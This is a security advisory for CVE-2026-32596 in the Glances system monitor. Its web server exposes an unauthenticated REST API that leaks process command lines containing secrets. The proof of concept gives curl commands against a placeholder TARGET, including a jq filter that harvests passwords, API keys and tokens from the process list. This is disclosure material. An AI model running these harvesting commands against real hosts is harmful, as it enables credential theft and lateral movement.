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8.7

Glances REST API exposed without password

GHSA-wvxv-4j8q-4wjq CVE-2026-32596 GHSA-wvxv-4j8q-4wjq
Summary

Glances web server exposes sensitive system information, including passwords, API keys, and tokens, to any network client without a password. This can happen if you run Glances with the `-w` option without setting a password. To fix, run Glances with a password or set one in the configuration file.

What to do
  • Update glances to version 4.5.2.
Affected software
VendorProductAffected versionsFix available
– glances <= 4.5.2 4.5.2
Original title
Glances exposes the REST API without authentication
Original description
### Summary
Glances web server runs without authentication by default when started with `glances -w`, exposing REST API with sensitive system information including process command-lines containing credentials (passwords, API keys, tokens) to any network client.

### Details
Root Cause: Authentication is optional and disabled by default. When no password is provided, the API router initializes without authentication dependency, and the server binds to 0.0.0.0 exposing all endpoints.

Affected Code:
- File: `glances/outputs/glances_restful_api.py`, lines 259-272

```python
if self.args.password:
self._password = GlancesPassword(username=args.username, config=config)
if JWT_AVAILABLE:
jwt_secret = config.get_value('outputs', 'jwt_secret_key', default=None)
jwt_expire = config.get_int_value('outputs', 'jwt_expire_minutes', default=60)
self._jwt_handler = JWTHandler(secret_key=jwt_secret, expire_minutes=jwt_expire)
logger.info(f"JWT authentication enabled (token expiration: {jwt_expire} minutes)")
else:
self._jwt_handler = None
logger.info("JWT authentication not available (python-jose not installed)")
else:
self._password = None # NO AUTHENTICATION BY DEFAULT
self._jwt_handler = None
```

- File: `glances/outputs/glances_restful_api.py`, lines 477-480

```python
if self.args.password:
router = APIRouter(prefix=self.url_prefix, dependencies=[Depends(self.authentication)])
else:
router = APIRouter(prefix=self.url_prefix) # NO AUTH DEPENDENCY
```

- File: `glances/outputs/glances_restful_api.py`, lines 98-99

```python
self.bind_address = args.bind_address or "0.0.0.0" # BINDS TO ALL INTERFACES
self.port = args.port or 61208
```

- File: `glances/plugins/processlist/__init__.py`, lines 127-140

```python
enable_stats = [
'cpu_percent',
'memory_percent',
'memory_info',
'pid',
'username',
'cpu_times',
'num_threads',
'nice',
'status',
'io_counters',
'cpu_num',
'cmdline', # FULL COMMAND LINE EXPOSED, NO SANITIZATION
]
```

### PoC

1. Start Glances in default web server mode:
```bash
glances -w
# Output: Glances Web User Interface started on http://0.0.0.0:61208/
```

2. Access API without authentication from any network client:
```bash
curl -s http://TARGET:61208/api/4/system | jq .
```

<img width="593" height="265" alt="image" src="https://github.com/user-attachments/assets/4ec461be-b480-46d5-88e2-f4004f4dae54" />


3. Extract system information:
```bash
curl -s http://TARGET:61208/api/4/all > system_dump.json
```
<img width="688" height="547" alt="image" src="https://github.com/user-attachments/assets/7564fb2a-7d94-4c26-848a-03034214b8c7" />

4. Harvest credentials from process list:
```bash
curl -s http://TARGET:61208/api/4/processlist | \
jq -r '.[] | select(.cmdline | tostring | test("password|api-key|token|secret"; "i")) |
{pid, username, process: .name, cmdline}'
```

5. Example credential exposure:
```json
{
"pid": 4059,
"username": "root",
"process": "python3",
"cmdline": [
"python3",
"-c",
"import time; time.sleep(3600)",
"--api-key=sk-super-secret-token-12345",
"--password=MySecretPassword123",
"--db-pass=admin123"
]
}
```

### Impact

Complete system reconnaissance and credential harvesting from any network client. Exposed endpoints include system info, process lists with full command-line arguments (containing passwords/API keys/tokens), network connections, filesystems, and Docker containers. Enables lateral movement and targeted attacks using stolen credentials.
ghsa CVSS4.0 8.7
Vulnerability type
CWE-200 Information Exposure
Published: 16 Mar 2026 · Updated: 16 Mar 2026 · First seen: 16 Mar 2026